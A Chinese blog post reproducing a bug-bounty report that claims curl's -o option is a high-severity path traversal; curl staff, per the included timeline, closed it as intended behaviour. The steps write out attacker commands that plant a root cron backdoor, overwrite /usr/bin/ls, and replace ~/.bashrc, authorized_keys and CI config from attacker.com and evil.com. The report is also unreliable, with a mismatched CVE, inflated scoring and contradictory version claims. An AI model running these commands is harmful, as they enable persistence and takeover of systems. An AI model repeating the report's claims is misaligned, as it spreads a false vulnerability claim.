cURL CLI路径遍历漏洞:高危任意文件写入风险分析

本文详细分析了cURL命令行工具中存在的路径遍历漏洞(CWE-22),攻击者可通过-o参数实现任意文件写入,导致远程代码执行和权限提升。影响版本包括7.64.0至8.4.0,并提供复现步骤和修复建议。

[高危] cURL CLI 通过路径遍历实现任意文件写入(CWE-22:路径名限制不当)

摘要

cURL 的 -o / --output 参数未对文件路径进行限制或清理。当传递相对遍历序列(例如 ../../)时,cURL 会将文件写入当前工作目录之外,允许任意文件覆盖。在自动化或特权环境(如 CI/CD、root 容器)中,这会导致远程代码执行(RCE)、权限提升和供应链风险。

此行为在 cURL 嵌入脚本或以提升权限运行时违反了路径安全预期。

受影响版本

  • 受影响组件:cURL CLI
  • 受影响版本:cURL 7.64.0 至 8.4.0(已在 7.64.0、7.79.1、7.85.0、8.4.0 测试)
  • 测试平台:Linux(Debian)、macOS、Alpine(Docker)
  • 最新测试版本:curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2

技术根本原因

1
2
// 文件:src/tool_cfgable.c(约第512行)
getstr(&config->output, nextarg, DENY_BLANK); // CWE-22:无验证/清理

未执行规范化(未使用 realpath()),cURL 允许任何相对/绝对路径。这创建了写入敏感区域(例如 /etc/$HOME/.ssh/~/.bashrc)的原语。

复现步骤

先决条件

  • 文件目标可由当前用户写入(或使用 root 以显示完整影响)。
  • 可在无用户交互的情况下自动化或脚本化。

利用

  1. 启动 Web 服务器
    1
    
    python3 -m http.server 8000
    
  2. 运行易受攻击的 cURL
    1
    
    sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor"
    
  3. 检查结果
    1
    2
    
    ls -l /etc/cron.daily/zzz-backdoor
    cat /etc/cron.daily/zzz-backdoor
    
    在下次 cron 运行时,zzz-backdoor 将以 root 权限执行。

其他利用场景

  • Docker 容器(特权)
    1
    
    docker run --privileged alpine sh -c 'curl http://attacker.com/x.sh -o /usr/bin/ls'
    
  • CI/CD 管道(供应链注入)
    1
    2
    
    script:
      - curl http://evil.com -o "../../.gitlab-ci.yml"
    
  • 用户级利用
    1
    2
    
    curl http://evil.com -o "~/.bashrc"
    curl http://evil.com/key.pub -o "~/.ssh/authorized_keys"
    

CVSS v3.1 基础评分:7.8(高危)

  • AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

缓解与建议

修复建议

在写入前规范化和验证路径:

1
2
3
4
5
char *resolved = realpath(nextarg, NULL);
if (!resolved || strstr(resolved, "..") != NULL || !is_subdir(resolved, safe_dir)) {
    warnf(config, "Unsafe output path blocked");
    return PARAM_BAD_USE;
}

支持证据

  • 源代码参考:src/tool_cfgable.c#L512
  • 类似 CVE:CVE-2020-8284(cURL FTP 路径遍历,已在 7.73.0 修复)
  • CWE:CWE-22

影响

向量 描述
任意文件写入 覆盖用户可访问的任何文件
权限提升 覆盖 /etc/sudoers/etc/passwd 或 root 拥有的 cron 作业
RCE / 持久化 通过登录脚本、bashrc 或 CI/CD 配置覆盖后门
供应链注入 脚本化或基于容器的安装自动运行攻击者负载

时间线

  • 2025年5月1日, 6:30am UTC:oicus 向 curl 提交报告。
  • 2025年5月1日, 6:41am UTC:curl 员工 dfandrich 评论称此为设计行为,用户是主导者。
  • 2025年5月1日, 9:30am UTC:curl 员工 bagder 关闭报告,状态改为“不适用”。
  • 2025年5月2日, 4:40am UTC:curl 员工 jimfuller2024 同意同事评论,补充指出使用 sudo curl 时用户为 root,可执行各种恶意操作。
  • 2025年6月28日, 12:24pm UTC:bagder 请求披露此报告。
  • 2025年6月30日, 6:55pm UTC:bagder 披露此报告。

报告详情

  • 报告日期:2025年5月1日, 6:30am UTC
  • 报告者:oicus
  • 报告对象:curl
  • 报告 ID:#3120987
  • 严重性:高危(7 ~ 8.9)
  • 披露日期:2025年6月30日, 6:55pm UTC
  • 弱点:路径遍历
  • CVE ID:CVE-2020-8284
  • 奖金:无
  • 账户详情:无

注意:curl 团队认为此行为是设计使然,并非安全漏洞。用户应谨慎使用 cURL 命令,避免在特权环境中使用不受信任的路径参数。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计